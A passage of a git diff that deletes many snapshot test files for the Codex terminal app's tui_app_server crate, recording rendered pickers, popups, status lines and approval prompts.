+0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -"• Booting MCP server: alpha (0s • esc to interrupt) " -" " -" " -"› Ask Codex to do anything " -" " -" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_picker_filters_hidden_models.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_picker_filters_hidden_models.snap deleted file mode 100644 index f340fdf55f..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_picker_filters_hidden_models.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Model and Effort - Access legacy models by running codex -m or in your config.toml - -› 1. test-visible-model (current) test-visible-model description - - Press enter to select reasoning effort, or esc to dismiss. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup.snap deleted file mode 100644 index eda6b7891f..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Reasoning Level for gpt-5.1-codex-max - - 1. Low Fast responses with lighter reasoning - 2. Medium (default) Balances speed and reasoning depth for everyday tasks -› 3. High (current) Greater reasoning depth for complex problems - 4. Extra high Extra high reasoning depth for complex problems - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap deleted file mode 100644 index 8f04e22596..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Reasoning Level for gpt-5.1-codex-max - - 1. Low Fast responses with lighter reasoning - 2. Medium (default) Balances speed and reasoning depth for everyday - tasks - 3. High Greater reasoning depth for complex problems -› 4. Extra high (current) Extra high reasoning depth for complex problems - ⚠ Extra high reasoning effort can quickly consume - Plus plan rate limits. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_selection_popup.snap deleted file mode 100644 index cf9abb40e9..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_selection_popup.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Model and Effort - Access legacy models by running codex -m or in your config.toml - -› 1. gpt-5.3-codex (default) Latest frontier agentic coding model. - 2. gpt-5.4 Latest frontier agentic coding model. - 3. gpt-5.2-codex Frontier agentic coding model. - 4. gpt-5.1-codex-max Codex-optimized flagship for deep and fast - reasoning. - 5. gpt-5.2 Latest frontier model with improvements across - knowledge, reasoning and coding - 6. gpt-5.1-codex-mini Optimized for codex. Cheaper, faster, but less - capable. - - Press enter to select reasoning effort, or esc to dismiss. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__multi_agent_enable_prompt.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__multi_agent_enable_prompt.snap deleted file mode 100644 index 297f489bbd..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__multi_agent_enable_prompt.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Enable subagents? - Subagents are currently disabled in your config. - -› 1. Yes, enable Save the setting now. You will need a new session to use it. - 2. Not now Keep subagents disabled. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_after_mode_switch.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_after_mode_switch.snap deleted file mode 100644 index 2eb5f14844..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_after_mode_switch.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: "lines_to_single_string(&cells[0])" ---- -• Permissions updated to Full Access diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default.snap deleted file mode 100644 index 6293aa1b44..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: "lines_to_single_string(&cells[0])" ---- -• Permissions updated to Default diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap deleted file mode 100644 index 161133b3c9..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: "lines_to_single_string(&cells[0])" ---- -• Permissions updated to Default (non-admin sandbox) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__personality_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__personality_selection_popup.snap deleted file mode 100644 index 1c5c3cb812..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__personality_selection_popup.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Personality - Choose a communication style for Codex. - - 1. Friendly Warm, collaborative, and helpful. -› 2. Pragmatic (current) Concise, task-focused, and direct. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup.snap deleted file mode 100644 index 9220bef649..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Implement this plan? - -› 1. Yes, implement this plan Switch to Default and start coding. - 2. No, stay in Plan mode Continue planning with the model. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup_no_selected.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup_no_selected.snap deleted file mode 100644 index 1b64b0f87d..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup_no_selected.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Implement this plan? - - 1. Yes, implement this plan Switch to Default and start coding. -› 2. No, stay in Plan mode Continue planning with the model. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__preamble_keeps_working_status.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__preamble_keeps_working_status.snap deleted file mode 100644 index 81f99ffee9..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__preamble_keeps_working_status.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -"• Working (0s • esc to interrupt) " -" " -" " -"› Ask Codex to do anything " -" " -" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__rate_limit_switch_prompt_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__rate_limit_switch_prompt_popup.snap deleted file mode 100644 index 2d68fd2198..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__rate_limit_switch_prompt_popup.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Approaching rate limits - Switch to gpt-5.1-codex-mini for lower credit usage? - -› 1. Switch to gpt-5.1-codex-mini Optimized for codex. Cheaper, - faster, but less capable. - 2. Keep current model - 3. Keep current model (never show again) Hide future rate limit reminders - about switching models. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup.snap deleted file mode 100644 index 18bea80eda..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Settings - Configure settings for Codex. - -› 1. Microphone Current: System default - 2. Speaker Current: System default - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup_narrow.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup_narrow.snap deleted file mode 100644 index 18bea80eda..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup_narrow.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Settings - Configure settings for Codex. - -› 1. Microphone Current: System default - 2. Speaker Current: System default - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_microphone_picker_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_microphone_picker_popup.snap deleted file mode 100644 index 93f64ad316..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_microphone_picker_popup.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Microphone - Saved devices apply to realtime voice only. - - 1. System default Use your operating system - default device. -› Unavailable: Studio Mic (current) (disabled) Configured device is not - currently available. - (disabled: Reconnect the - device or choose another - one.) - 3. Built-in Mic - 4. USB Mic - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap deleted file mode 100644 index 187a46043a..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: header ---- -› Ask Codex to do anything diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__slash_copy_no_output_info_message.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__slash_copy_no_output_info_message.snap deleted file mode 100644 index 8fcc96e194..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__slash_copy_no_output_info_message.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: rendered ---- -• `/copy` is unavailable before the first Codex output or right after a rollback. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_fast_mode_footer.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_fast_mode_footer.snap deleted file mode 100644 index 8f26fccb63..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_fast_mode_footer.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " -"› Ask Codex to do anything " -" " -" Fast on " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap deleted file mode 100644 index 36be247c46..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " -"› Ask Codex to do anything " -" " -" gpt-5.4 xhigh fast · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_active.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_active.snap deleted file mode 100644 index bec383c9e3..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_active.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -"• Analyzing (0s • esc to interrupt) " -" " -" " -"› Ask Codex to do anything " -" " -" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_and_approval_modal.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_and_approval_modal.snap deleted file mode 100644 index acc6466fca..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_and_approval_modal.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " -" Would you like to run the following command? " -" " -" Reason: this is a test reason such as one that would be produced by the model " -" " -" $ echo 'hello world' " -" " -"› 1. Yes, proceed (y) " -" 2. Yes, and don't ask again for commands that start with `echo 'hello world'` (p) " -" 3. No, and tell Codex what to do differently (esc) " -" " -" Press enter to confirm or esc to cancel " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_begin_restores_working_status.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_begin_restores_working_status.snap deleted file mode 100644 index 78656d6b72..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_begin_restores_working_status.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -"• Working (0s • esc to interrupt) · 1 background terminal running · /ps to view…" -" " -" " -"› Ask Codex to do anything " -" " -" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap deleted file mode 100644 index 68c66d35ae..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Waited for background terminal · just fix - -↳ Interacted with background terminal · just fix - └ ls diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap deleted file mode 100644 index f4ca4e0a36..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_combined ---- -↳ Interacted with background terminal · just fix - └ pwd diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap deleted file mode 100644 index 5ff424aba6..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -↳ Interacted with background terminal · just fix - └ pwd - -• Waited for background terminal · just fix diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap deleted file mode 100644 index 0521cbc5be..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: snapshot ---- -History: -• Ran echo repro-marker - └ repro-marker - -Active: -• Exploring - └ Read null diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap deleted file mode 100644 index 1e8c24db12..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Waited for background terminal · cargo test -p codex-core - -• Final response. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap deleted file mode 100644 index 16600c5a97..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Waited for background terminal · cargo test -p codex-core - -• Streaming response. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap deleted file mode 100644 index c326630664..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: rendered ---- -• Waiting for background terminal (0s • esc to … - └ cargo test -p codex-core -- --exact… - - -› Ask Codex to do anything - - gpt-5.3-codex default · 100% left · /tmp/proj… diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap deleted file mode 100644 index ff674919cc..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Waited for background terminal · just fix diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_shell_ls_output.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_shell_ls_output.snap deleted file mode 100644 index 4602d97169..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_shell_ls_output.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: blob ---- -• You ran ls - └ file1 - file2 diff --git a/codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui_app_server__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap b/codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui_app_server__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap deleted file mode 100644 index ef68c21fd1..0000000000 --- a/codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui_app_server__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/onboarding/trust_directory.rs -expression: terminal.backend() ---- -> You are in /workspace/project - - Do you trust the contents of this directory? Working with untrusted - contents comes with higher risk of prompt injection. - -› 1. Yes, continue - 2. No, quit - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/render/snapshots/codex_tui_app_server__render__highlight__tests__ansi_family_foreground_palette.snap b/codex-rs/tui_app_server/src/render/snapshots/codex_tui_app_server__render__highlight__tests__ansi_family_foreground_palette.snap deleted file mode 100644 index 709127bc87..0000000000 --- a/codex-rs/tui_app_server/src/render/snapshots/codex_tui_app_server__render__highlight__tests__ansi_family_foreground_palette.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/render/highlight.rs -expression: out ---- -ansi: - Blue - Green - Magenta - Yellow -base16: - Blue - Gray - Green - Indexed(9) - Magenta -base16-256: - Blue - Gray - Green - Indexed(16) - Magenta diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__agent_picker_item_name.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__agent_picker_item_name.snap deleted file mode 100644 index 437a100569..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__agent_picker_item_name.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/app.rs -expression: snapshot ---- -Main [default] | 00000000-0000-0000-0000-000000000123 -Robie [explorer] | 00000000-0000-0000-0000-000000000123 -Robie | 00000000-0000-0000-0000-000000000123 -[explorer] | 00000000-0000-0000-0000-000000000123 -Agent | 00000000-0000-0000-0000-000000000123 diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap deleted file mode 100644 index 5c7015d416..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/app.rs -expression: rendered ---- -╭─────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v) │ -│ │ -│ model: gpt-test high /model to change │ -│ directory: /tmp/project │ -╰─────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_header_fast_status_gpt54_only.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_header_fast_status_gpt54_only.snap deleted file mode 100644 index d3b8d1d20f..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_header_fast_status_gpt54_only.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/app.rs -expression: rendered ---- -╭────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v) │ -│ │ -│ model: gpt-5.4 xhigh fast /model to change │ -│ directory: /tmp/project │ -╰────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__model_migration_prompt_shows_for_hidden_model.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__model_migration_prompt_shows_for_hidden_model.snap deleted file mode 100644 index b67d88dd43..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__model_migration_prompt_shows_for_hidden_model.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/app.rs -expression: model_migration_copy_to_plain_text(©) ---- -**Codex just got an upgrade. Introducing gpt-5.3-codex.** - -Codex is now powered by gpt-5.3-codex, our most capable agentic coding model yet. It's built for long-running, project-scale work, with mid-turn steering + frequent progress updates so you can collaborate while it runs (and it's faster too). - -Learn more: https://openai.com/index/introducing-gpt-5-3-codex/ - -You can keep using gpt-5.1-codex if you prefer. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_fork_modal.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_fork_modal.snap deleted file mode 100644 index 56b679ef6f..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_fork_modal.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/cwd_prompt.rs -expression: terminal.backend() ---- - -Choose working directory to fork this session - - Session = latest cwd recorded in the forked session - Current = your current working directory - -› 1. Use session directory (/Users/example/session) - 2. Use current directory (/Users/example/current) - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_modal.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_modal.snap deleted file mode 100644 index 5fc9f74b6a..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_modal.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/cwd_prompt.rs -expression: terminal.backend() ---- - -Choose working directory to resume this session - - Session = latest cwd recorded in the resumed session - Current = your current working directory - -› 1. Use session directory (/Users/example/session) - 2. Use current directory (/Users/example/current) - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__ansi16_insert_delete_no_background.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__ansi16_insert_delete_no_background.snap deleted file mode 100644 index d89b1665d7..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__ansi16_insert_delete_no_background.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"1 +added in ansi16 mode " -"2 -deleted in ansi16 mode " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_add_block.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_add_block.snap deleted file mode 100644 index 7236de4ee3..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_add_block.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Added new_file.txt (+2 -0) " -" 1 +alpha " -" 2 +beta " -" " -" " -" " -" " -" " -" " -" " diff --git 